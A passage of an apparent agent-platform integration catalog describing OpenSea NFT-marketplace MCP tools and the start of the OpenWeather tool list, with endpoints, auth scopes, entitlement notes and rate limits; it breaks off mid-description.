collection traits Get all available traits for a collection with their value counts and data types. Calls GET /api/v2/traits/{slug}. GET /api/v1/opensea/api/v2/traits/{slug}. Scopes: api. opensea_get_api_v2_traits_by_slug_floors (read) — Get trait floor prices Get the cheapest active listing for every trait value in a collection, in one request. Trait values with no active listing are omitted. Results are ordered by trait type, then value, then price. Only traits with text values are included. A numeric trait has no enumerable set of values, so it is reported as a min/max range by 'GET /api/v2/traits/{slug}' rather than as a floor per value here. Prices come from each item's best listing across every marketplace OpenSea aggregates, the same basis as 'floor_price' in 'GET /api/v2/collections/{slug}/stats'. A floor can therefore be below the cheapest listing fulfillable through this API, because 'GET /api/v2/listings/collection/{slug}/best' serves only the OpenSea order book. Prices are not converted to a common currency: a trait value listed in more than one currency appears once per currency, and prices are only comparable within the same 'payment_token_symbol'. Calls GET /api/v2/traits/{slug}/floors. GET /api/v1/opensea/api/v2/traits/{slug}/floors. Scopes: api. opensea_patch_api_v2_collections_by_slug (write) — Modify collection metadata Update an existing collection's metadata. Calls PATCH /api/v2/collections/{slug}. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:collections. This tool refuses with that reason rather than calling the provider. PATCH /api/v1/opensea/api/v2/collections/{slug}. Scopes: api. opensea_patch_api_v2_collections_by_slug_metadata (write) — Update collection metadata Update collection about, hero, overview, and logo image metadata. Calls PATCH /api/v2/collections/{slug}/metadata. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:collections. This tool refuses with that reason rather than calling the provider. PATCH /api/v1/opensea/api/v2/collections/{slug}/metadata. Scopes: api. opensea_patch_api_v2_collections_by_slug_visibility (write) — Set collection visibility Hide or unhide a collection. Calls PATCH /api/v2/collections/{slug}/visibility. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:collections. This tool refuses with that reason rather than calling the provider. PATCH /api/v1/opensea/api/v2/collections/{slug}/visibility. Scopes: api. opensea_patch_api_v2_drops_by_slug_items_by_token_id (write) — Update drop item Update drop item metadata. Calls PATCH /api/v2/drops/{slug}/items/{token_id}. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:drops. This tool refuses with that reason rather than calling the provider. PATCH /api/v1/opensea/api/v2/drops/{slug}/items/{token_id}. Scopes: api. opensea_patch_api_v2_profile (write) — Update profile settings Update the authenticated wallet's profile settings. Calls PATCH /api/v2/profile. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:profile. This tool refuses with that reason rather than calling the provider. PATCH /api/v1/opensea/api/v2/profile. Scopes: api. opensea_patch_api_v2_profile_shelves (write) — Reorder profile shelves Reorder the authenticated wallet's shelves. Calls PATCH /api/v2/profile/shelves. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:profile. This tool refuses with that reason rather than calling the provider. PATCH /api/v1/opensea/api/v2/profile/shelves. Scopes: api. opensea_patch_api_v2_profile_shelves_by_shelf_id (write) — Update a profile shelf Update shelf fields and optionally item descriptions. Shelf field updates are applied first; if a later item description update fails, earlier changes are not rolled back. Calls PATCH /api/v2/profile/shelves/{shelf_id}. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:profile. This tool refuses with that reason rather than calling the provider. PATCH /api/v1/opensea/api/v2/profile/shelves/{shelf_id}. Scopes: api. opensea_post_api_v2_accounts_agent_relationships (write) — Propose an agent ownership relationship Both accounts must agree. Proposing a relationship that is already awaiting you confirms it, so a client that cannot tell who moved first can simply propose. Calls POST /api/v2/accounts/agent-relationships. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:wallets. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/accounts/agent-relationships. Scopes: api. opensea_post_api_v2_accounts_agent_relationships_confirm (write) — Confirm an agent relationship proposed to the authenticated account Name the other party by `counterparty_account_id`, from `agent_account_id` or `owner_account_id` on a listed relationship, or by `counterparty_address`. Prefer the account: the relationship is the pair of accounts, so it stays addressable after either party unlinks the wallet it was proposed with, whereas an address stops resolving once unlinked. Calls POST /api/v2/accounts/agent-relationships/confirm. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:wallets. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/accounts/agent-relationships/confirm. Scopes: api. opensea_post_api_v2_accounts_by_address_or_username_follow (write) — Follow a profile Calls POST /api/v2/accounts/{address_or_username}/follow. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:social. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/accounts/{address_or_username}/follow. Scopes: api. opensea_post_api_v2_accounts_by_address_or_username_watch (write) — Watch a followed profile Calls POST /api/v2/accounts/{address_or_username}/watch. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:social. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/accounts/{address_or_username}/watch. Scopes: api. opensea_post_api_v2_accounts_wallets_siwx (write) — Link a wallet to the authenticated account Verify control of a wallet using a SIWX signature and link it to the authenticated account. Calls POST /api/v2/accounts/wallets/siwx. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:wallets. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/accounts/wallets/siwx. Scopes: api. opensea_post_api_v2_assets_transfer (write) — Transfer NFTs or tokens between wallets Returns ordered blockchain actions to execute for transferring one or more NFTs or tokens from one wallet to another. Supports bulk transfers of multiple assets in a single request. Calls POST /api/v2/assets/transfer. POST /api/v1/opensea/api/v2/assets/transfer. Scopes: api. opensea_post_api_v2_chain_by_chain_contract_by_address_nfts_by_identifier_refresh (write) — Refresh NFT metadata Queue a metadata refresh for a specific NFT to update its information from the blockchain. Calls POST /api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/refresh. POST /api/v1/opensea/api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/refresh. Scopes: api. opensea_post_api_v2_chain_by_chain_contract_by_address_nfts_by_identifier_validate_metadata (write) — Validate NFT metadata Fetch and validate NFT metadata directly from the blockchain without using cached data. Returns both original and processed (SeaDN) URLs to show how the metadata would be ingested. This endpoint does not persist any data. Calls POST /api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/validate-metadata. POST /api/v1/opensea/api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/validate-metadata. Scopes: api. opensea_post_api_v2_collections_batch (write) — Get collections by slugs Retrieve multiple collections in a single request by providing a list of slugs. Results are returned in the same order as the input slugs. Not-found collections are silently omitted. Calls POST /api/v2/collections/batch. POST /api/v1/opensea/api/v2/collections/batch. Scopes: api. opensea_post_api_v2_collections_by_slug_images_by_image_type (write) — Upload collection image Set the content_type query parameter to the exact MIME type of the image bytes. This response starts a three-step upload flow. First, request this context from OpenSea. Second, call the returned method at the returned URL. For POST, add every fields entry unchanged as a multipart text field, then add a file part containing the bytes. The file part must be last. Let the HTTP library generate the multipart boundary; do not set the overall multipart Content-Type header yourself. POST storage uploads normally return 204. For PUT, upload the raw bytes, use only headers explicitly required by the endpoint, and expect 200. Treat any 2xx storage response as success. The URL and fields are short-lived sensitive credentials. Do not log, persist, alter, or put them in tickets. Third, after storage succeeds, pass the returned token to the documented OpenSea API endpoint. Do not use the token before the storage upload succeeds. Pass the token as the matching image field in PATCH /api/v2/collections/{slug}. Calls POST /api/v2/collections/{slug}/images/{image_type}. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:collections. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/collections/{slug}/images/{image_type}. Scopes: api. opensea_post_api_v2_drops_by_slug (write) — Update Creator Studio drop edits Update an existing ERC-721 SeaDrop V1 drop and its stages. Saves a Creator Studio draft. It does not change the live drop: SeaDrop stages are onchain contract state, so the draft has to be published separately before buyers see it. A 200 here means the draft was accepted, not that the drop changed. `stages` replaces the whole set rather than merging, so send every stage the drop should end up with, including ones you are not changing. Reuse an existing stage uuid to update it, supply a new UUID to add one, and omit a stage to delete it. The stage list has four rules, and rules 2 and 4 interact in a way worth reading before the first attempt: 1. Exactly one stage must be `public_sale`. 2. That public stage must be first in the array. 3. The presales, meaning every stage after the first, must be contiguous among themselves: each one starts exactly when the previous presale ended. The first presale start time is not constrained. 4. The last presale must end exactly when the public stage starts. Together, 2 and 4 mean array order is not chronological order: the public stage is listed first and runs last, with the presales running in array order before it. A drop with two allowlist stages therefore sends `[public, presale1, presale2]` while time runs presale1, then presale2, then public. Rule 3 does not tie presale1 back to the public stage, which is why the chain reads forward from presale1 rather than from the array head. Per-wallet mint limits are cumulative across stages, so `max_total_mintable_by_wallet` on a later stage is a running total for the wallet rather than a fresh allowance. Calls POST /api/v2/drops/{slug}. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:drops. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/drops/{slug}. Scopes: api. opensea_post_api_v2_drops_by_slug_allowlist (write) — Upload drop allowlist The file is CSV with a header row, and the wallet column must be named address or walletaddress. Optional per-row columns are a custom mint limit and a custom price. This response starts a three-step upload flow. First, request this context from OpenSea. Second, call the returned method at the returned URL. For POST, add every fields entry unchanged as a multipart text field, then add a file part containing the bytes. The file part must be last. Let the HTTP library generate the multipart boundary; do not set the overall multipart Content-Type header yourself. POST storage uploads normally return 204. For PUT, upload the raw bytes, use only headers explicitly required by the endpoint, and expect 200. Treat any 2xx storage response as success. The URL and fields are short-lived sensitive credentials. Do not log, persist, alter, or put them in tickets. Third, after storage succeeds, pass the returned token to the documented OpenSea API endpoint. Do not use the token before the storage upload succeeds. Pass the token as allowlist_file_token to POST /api/v2/drops/{slug}/allowlist/validate, which returns a different token. That second token is the one a stage takes: send it as allowlist_file_token on the stage in POST /api/v2/drops/{slug}, or the uploaded file is never attached to anything. The presigned upload expires about a minute after it is issued, so request the context and upload in one go rather than requesting it ahead of time. Calls POST /api/v2/drops/{slug}/allowlist. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:drops. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/drops/{slug}/allowlist. Scopes: api. opensea_post_api_v2_drops_by_slug_allowlist_validate (write) — Validate drop allowlist Validate an uploaded drop allowlist file token. Calls POST /api/v2/drops/{slug}/allowlist/validate. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:drops. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/drops/{slug}/allowlist/validate. Scopes: api. opensea_post_api_v2_drops_by_slug_cross_chain_mint (write) — Build cross-chain mint transactions for a drop Returns an ordered list of transactions for minting a drop using a token on another chain. The payer signs each transaction in order, and the minter receives the NFT. After submission, pass receipt_request to POST /api/v2/transactions/receipt and poll until the status is terminal. Calls POST /api/v2/drops/{slug}/cross_chain_mint. POST /api/v1/opensea/api/v2/drops/{slug}/cross_chain_mint. Scopes: api. opensea_post_api_v2_drops_by_slug_items (write) — Build transaction data for creating a SelfMint drop item Returns ready-to-sign onchain transaction data for creating a SelfMint drop item. The caller is responsible for signing and broadcasting the transaction. Calls POST /api/v2/drops/{slug}/items. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:drops. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/drops/{slug}/items. Scopes: api. opensea_post_api_v2_drops_by_slug_items_media (write) — Upload drop item media This response starts a three-step upload flow. First, request this context from OpenSea. Second, call the returned method at the returned URL. For POST, add every fields entry unchanged as a multipart text field, then add a file part containing the bytes. The file part must be last. Let the HTTP library generate the multipart boundary; do not set the overall multipart Content-Type header yourself. POST storage uploads normally return 204. For PUT, upload the raw bytes, use only headers explicitly required by the endpoint, and expect 200. Treat any 2xx storage response as success. The URL and fields are short-lived sensitive credentials. Do not log, persist, alter, or put them in tickets. Third, after storage succeeds, pass the returned token to the documented OpenSea API endpoint. Do not use the token before the storage upload succeeds. Pass each token as media_token to POST /api/v2/drops/{slug}/items or POST /api/v2/drops/{slug}/prereveal-item, as media_tokens to POST /api/v2/drops/{slug}/items/media/save, or as media_token to PUT /api/v2/drops/{slug}/items/{token_id}. Calls POST /api/v2/drops/{slug}/items/media. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:drops. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/drops/{slug}/items/media. Scopes: api. opensea_post_api_v2_drops_by_slug_items_media_save (write) — Save drop item media Persist drop item media references. Calls POST /api/v2/drops/{slug}/items/media/save. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:drops. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/drops/{slug}/items/media/save. Scopes: api. opensea_post_api_v2_drops_by_slug_mint (write) — Build mint transaction data for a drop Returns ready-to-sign transaction data for minting tokens from a drop. The caller is responsible for signing and submitting the transaction. No wallet authentication is required — only an API key. The minter address in the request body determines who will receive the tokens. Stage selection is handled automatically by the backend — if multiple stages are active, the first eligible stage is used. Calls POST /api/v2/drops/{slug}/mint. POST /api/v1/opensea/api/v2/drops/{slug}/mint. Scopes: api. opensea_post_api_v2_drops_by_slug_prereveal_item (write) — Save prereveal drop item Save prereveal drop item metadata. Calls POST /api/v2/drops/{slug}/prereveal-item. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:drops. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/drops/{slug}/prereveal-item. Scopes: api. opensea_post_api_v2_drops_deploy (write) — Build deploy contract transaction data Returns ready-to-sign transaction data for deploying a new NFT drop contract. The caller is responsible for signing and submitting the transaction. Calls POST /api/v2/drops/deploy. POST /api/v1/opensea/api/v2/drops/deploy. Scopes: api. opensea_post_api_v2_listings_actions (write) — Get listing creation actions Returns the blockchain actions (approvals + Seaport order signing payload) needed to list one or more NFTs. This eliminates the need to construct Seaport orders manually. Calls POST /api/v2/listings/actions. POST /api/v1/opensea/api/v2/listings/actions. Scopes: api. opensea_post_api_v2_listings_cross_chain_fulfillment_data (write) — Fulfill a listing using a different token Get fulfillment data to buy one or more listings using a token on a different chain or a different token on the same chain. Supports cross-chain purchases and same-chain token swaps via the Relay protocol. Returns an ordered list of transactions to execute. Listings on EVM chains only; a listing on any other chain is rejected. Calls POST /api/v2/listings/cross_chain_fulfillment_data. POST /api/v1/opensea/api/v2/listings/cross_chain_fulfillment_data. Scopes: api. opensea_post_api_v2_listings_fulfillment_actions (write) — Get listing fulfillment actions Returns the blockchain actions needed to fulfill a listing, for listings that cannot be fulfilled with Seaport calldata. A Solana listing is always fulfilled this way, because it settles through an onchain program rather than a signed order. The listing is addressed by the same identifier the get-order endpoint uses. Calls POST /api/v2/listings/fulfillment/actions. POST /api/v1/opensea/api/v2/listings/fulfillment/actions. Scopes: api. opensea_post_api_v2_listings_fulfillment_data (write) — Fulfill a listing Retrieve all the information, including signatures, needed to fulfill a listing directly onchain. Calls POST /api/v2/listings/fulfillment_data. POST /api/v1/opensea/api/v2/listings/fulfillment_data. Scopes: api. opensea_post_api_v2_listings_sweep (write) — Sweep buy items from a collection Buy up to N items from a collection using any payment token, including cross-chain. If a requested item becomes unavailable, the system can automatically substitute it with the next cheapest listing from the same collection (enabled by default). Returns an ordered list of transactions to execute. Collections on EVM chains only; a collection on any other chain is rejected. Calls POST /api/v2/listings/sweep. POST /api/v1/opensea/api/v2/listings/sweep. Scopes: api. opensea_post_api_v2_nfts_batch (write) — Get NFTs by identifiers Retrieve multiple NFTs in a single request by providing a list of identifiers (chain, contract address, and token ID). Not-found NFTs are silently omitted from the response. Calls POST /api/v2/nfts/batch. POST /api/v1/opensea/api/v2/nfts/batch. Scopes: api. opensea_post_api_v2_offers (write) — Create a criteria offer Create a criteria offer to purchase any NFT in a collection or which matches the specified trait. For trait offers where the Build Offer endpoint returns identifierOrCriteria '0', use that value directly — trait matching is validated server-side at fulfillment time rather than via onchain merkle proof. Calls POST /api/v2/offers. POST /api/v1/opensea/api/v2/offers. Scopes: api. opensea_post_api_v2_offers_actions (write) — Get offer creation actions Returns the blockchain actions needed to offer on an NFT, the offer-side counterpart of the listing actions endpoint. On EVM chains these are payment approvals followed by a Seaport order to sign, which the signature endpoints then accept. On Solana the actions instead carry an unsigned bid transaction to sign and submit onchain; there is no order to post back to OpenSea afterwards. Calls POST /api/v2/offers/actions. POST /api/v1/opensea/api/v2/offers/actions. Scopes: api. opensea_post_api_v2_offers_build (write) — Build a criteria offer Build a portion of a criteria offer including the consideration item, zone, and zone hash needed to post an offer. For trait offers on supported collections, the identifierOrCriteria in the returned consideration will be '0' (no merkle root computation needed). For other collections, a computed merkle root is returned. When identifierOrCriteria is '0', the encodedTokenIds field is informational only and not required for constructing the onchain order. Calls POST /api/v2/offers/build. POST /api/v1/opensea/api/v2/offers/build. Scopes: api. opensea_post_api_v2_offers_fulfillment_actions (write) — Get offer fulfillment actions Returns the blockchain actions a seller needs to accept an offer, for offers that cannot be accepted with Seaport calldata. A Solana offer is always accepted this way, because it settles through an onchain program rather than a signed order. The offer is addressed by the same identifier the get-order endpoint uses, and a criteria offer additionally requires a consideration naming the token being sold. On Solana two fields on the returned action are load-bearing. When `partially_signed_transaction` is present the transaction is already cosigned: append your signature to those exact bytes and broadcast them, and do not rebuild the message from `instructions`, which invalidates the cosigner signature. When `sponsored_fee_payer` is present an OpenSea relayer pays the fee and your wallet is only a co-signer; when it is absent you pay your own fee. Accepting fewer units than an offer's remaining quantity leaves the offer live, so a successful fill does not imply the offer is consumed. Calls POST /api/v2/offers/fulfillment/actions. POST /api/v1/opensea/api/v2/offers/fulfillment/actions. Scopes: api. opensea_post_api_v2_offers_fulfillment_data (write) — Fulfill an offer Retrieve all the information, including signatures, needed to fulfill an offer directly onchain. For trait offers with identifierOrCriteria '0', the server validates that the specified token matches the offer's trait criteria before generating fulfillment data. Calls POST /api/v2/offers/fulfillment_data. POST /api/v1/opensea/api/v2/offers/fulfillment_data. Scopes: api. opensea_post_api_v2_orders_by_chain_by_protocol_listings (write) — Create a listing List a single NFT (ERC721 or ERC1155) for sale on the OpenSea marketplace. Calls POST /api/v2/orders/{chain}/{protocol}/listings. POST /api/v1/opensea/api/v2/orders/{chain}/{protocol}/listings. Scopes: api. opensea_post_api_v2_orders_by_chain_by_protocol_offers (write) — Create an item offer Create an offer to purchase a single NFT (ERC721 or ERC1155). Calls POST /api/v2/orders/{chain}/{protocol}/offers. POST /api/v1/opensea/api/v2/orders/{chain}/{protocol}/offers. Scopes: api. opensea_post_api_v2_orders_chain_by_chain_protocol_by_protocol_address_by_order_hash_cancel (write, destructive) — Cancel an order Offchain cancel a single order, offer or listing, by its order hash when protected by the SignedZone. Protocol and Chain are required to prevent hash collisions. Please note cancellation is only assured if a fulfillment signature was not vended prior to cancellation. Calls POST /api/v2/orders/chain/{chain}/protocol/{protocol_address}/{order_hash}/cancel. POST /api/v1/opensea/api/v2/orders/chain/{chain}/protocol/{protocol_address}/{order_hash}/cancel. Scopes: api. opensea_post_api_v2_orders_chain_by_chain_protocol_by_protocol_address_by_order_hash_cancel_actions (write) — Get order cancellation actions Returns the blockchain actions needed to cancel an order onchain, for orders that cannot be cancelled offchain through the cancel endpoint. A Solana order is always cancelled this way, because it lives onchain from the moment it is created. The order is addressed by the same identifier the get-order endpoint uses, and only its maker may cancel it. Calls POST /api/v2/orders/chain/{chain}/protocol/{protocol_address}/{order_hash}/cancel/actions. POST /api/v1/opensea/api/v2/orders/chain/{chain}/protocol/{protocol_address}/{order_hash}/cancel/actions. Scopes: api. opensea_post_api_v2_profile_images (write) — Upload a profile image Set contentType in the context request to the exact MIME type of the image bytes. This response starts a three-step upload flow. First, request this context from OpenSea. Second, call the returned method at the returned URL. For POST, add every fields entry unchanged as a multipart text field, then add a file part containing the bytes. The file part must be last. Let the HTTP library generate the multipart boundary; do not set the overall multipart Content-Type header yourself. POST storage uploads normally return 204. For PUT, upload the raw bytes, use only headers explicitly required by the endpoint, and expect 200. Treat any 2xx storage response as success. The URL and fields are short-lived sensitive credentials. Do not log, persist, alter, or put them in tickets. Third, after storage succeeds, pass the returned token to the documented OpenSea API endpoint. Do not use the token before the storage upload succeeds. Pass the token as the matching profile image field in PATCH /api/v2/profile. Calls POST /api/v2/profile/images. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:profile. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/profile/images. Scopes: api. opensea_post_api_v2_profile_nft_pfp (write) — Set NFT profile picture Set an onchain NFT owned by the authenticated wallet as its verified profile picture. The NFT must be from a verified collection and owned by one of the account's wallets. Calls POST /api/v2/profile/nft-pfp. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:profile. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/profile/nft-pfp. Scopes: api. opensea_post_api_v2_profile_shelves (write) — Create a profile shelf Create a shelf for the authenticated wallet. Calls POST /api/v2/profile/shelves. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:profile. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/profile/shelves. Scopes: api. opensea_post_api_v2_profile_username (write) — Claim a profile username Claim a username for the authenticated wallet. Calls POST /api/v2/profile/username. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:profile. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/profile/username. Scopes: api. opensea_post_api_v2_saved_tools (write) — [Beta] Save a tool Save a registered tool for the authenticated account. Calls POST /api/v2/saved-tools. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:tools. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/saved-tools. Scopes: api. opensea_post_api_v2_swap_execute (write) — Execute a token swap Get executable transactions for token-to-token swaps. Supports same-chain and cross-chain swaps with multiple from/to assets. Calls POST /api/v2/swap/execute. POST /api/v1/opensea/api/v2/swap/execute. Scopes: api. opensea_post_api_v2_tokens_batch (write) — Get tokens by contract identifiers Retrieve multiple tokens in a single request by providing a list of contract identifiers (chain and address). Not-found tokens are silently omitted from the response. Calls POST /api/v2/tokens/batch. POST /api/v1/opensea/api/v2/tokens/batch. Scopes: api. opensea_post_api_v2_tools_usage (write) — [Beta] Report tool usage (metrics only) [Beta] Report verified tool usage for metrics and analytics purposes only. Supports verification_type: eip3009_authorization (free tools, identity proof) or x402_settlement (paid tools, onchain USDC payment verification). Identify the tool by providing tool_chain_id + tool_registry_address (an onchain EVM address, or x402_bazaar / x402_bankr for x402 tools) + tool_onchain_id, or alternatively just tool_endpoint (the tool's canonical URL). This endpoint does NOT trigger any onchain transactions. This endpoint is under active development and may change without notice. Calls POST /api/v2/tools/usage. POST /api/v1/opensea/api/v2/tools/usage. Scopes: api. opensea_post_api_v2_transactions_receipt (write) — Get transaction receipt Get the receipt/status for a submitted transaction. Works for all transaction types including listing fulfillments, cross-chain buys, sweeps, offer fulfillments, and token swaps. Poll this endpoint after submitting transactions to check completion status. Calls POST /api/v2/transactions/receipt. POST /api/v1/opensea/api/v2/transactions/receipt. Scopes: api. opensea_post_api_v2_watchlist (write) — Add a watchlist entry Add an NFT, token, collection, or perpetual to the authenticated account's watchlist. Calls POST /api/v2/watchlist. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:favorites. This tool refuses with that reason rather than calling the provider. POST /api/v1/opensea/api/v2/watchlist. Scopes: api. opensea_put_api_v2_accounts_agent (write) — Declare the authenticated account an agent Self-reported and not OpenSea verification. Independent of ownership: an agent nobody owns is valid. Calls PUT /api/v2/accounts/agent. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:wallets. This tool refuses with that reason rather than calling the provider. PUT /api/v1/opensea/api/v2/accounts/agent. Scopes: api. opensea_put_api_v2_accounts_wallets_by_wallet_private (write) — Make a registered wallet private Hides the wallet's public account linkage, including agent ownership relationships. Calls PUT /api/v2/accounts/wallets/{wallet}/private. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:wallets. This tool refuses with that reason rather than calling the provider. PUT /api/v1/opensea/api/v2/accounts/wallets/{wallet}/private. Scopes: api. opensea_put_api_v2_drops_by_slug_items_by_token_id (write) — Build transaction data for updating a SelfMint drop item Returns ready-to-sign onchain transaction data for updating a SelfMint drop item. The caller is responsible for signing and broadcasting the transaction. Calls PUT /api/v2/drops/{slug}/items/{token_id}. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:drops. This tool refuses with that reason rather than calling the provider. PUT /api/v1/opensea/api/v2/drops/{slug}/items/{token_id}. Scopes: api. ================================================================================ ## OpenWeather URL: https://www.agenticfabriq.com/integrations/openweather Section: Integrated Tools OpenWeather — 71 MCP tools Provider key: openweather. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. openweather_delete_data_3_0_stations_by_id (write, destructive) — Delete a weather station via DELETE api.openweathermap.org/data/3.0/stations/{id}. PERMANENTLY DELETE a registered weather station by its internal `id`, together with every measurement it has sent. OpenWeather offers no undo. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. There is no undo and no recycle bin. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. DELETE /api/v1/openweather/data/3.0/stations/{id}. Scopes: api. openweather_delete_energy_1_0_location_by_location_id (write, destructive) — Solar panels v1.0: delete a location via DELETE api.openweathermap.org/energy/1.0/location/{location_id}. Solar Energy Panel Prediction v1.0: PERMANENTLY DELETE a registered site by `location_id`, including the panels defined at it. No undo. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. There is no undo and no recycle bin. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. DELETE /api/v1/openweather/energy/1.0/location/{location_id}. Scopes: api. openweather_delete_energy_1_0_panel_by_panel_id (write, destructive) — Solar panels v1.0: delete a panel via DELETE api.openweathermap.org/energy/1.0/panel/{panel_id}. Solar Energy Panel Prediction v1.0: PERMANENTLY DELETE a panel by `panel_id`. No undo. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. There is no undo and no recycle bin. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. DELETE /api/v1/openweather/energy/1.0/panel/{panel_id}. Scopes: api. openweather_delete_energy_2_0_location_by_location_id (write, destructive) — Solar panels v2.0: delete a location via DELETE api.openweathermap.org/energy/2.0/location/{location_id}. Solar Energy Panel Prediction v2.0: PERMANENTLY DELETE a registered site by `location_id`, including its panels. No undo. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. There is no undo and no recycle bin. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. DELETE /api/v1/openweather/energy/2.0/location/{location_id}. Scopes: api. openweather_delete_energy_2_0_panel_by_panel_id (write, destructive) — Solar panels v2.0: delete a panel via DELETE api.openweathermap.org/energy/2.0/panel/{panel_id}. Solar Energy Panel Prediction v2.0: PERMANENTLY DELETE a panel by `panel_id`. No undo. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. There is no undo and no recycle bin. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. DELETE /api/v1/openweather/energy/2.0/panel/{panel_id}. Scopes: api. openweather_get_alerts_1_0 (read) — Global weather alerts via GET api.openweathermap.org/alerts/1.0. Global Weather Alerts: active government-issued warnings for a `location` (see OpenWeather's alerts documentation for the accepted forms), optionally filtered by `source`, `industry`, `start_date`/`end_date`, `tags`, `severity`, `certainty` and `urgency`; `show_location` includes the geometry. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since 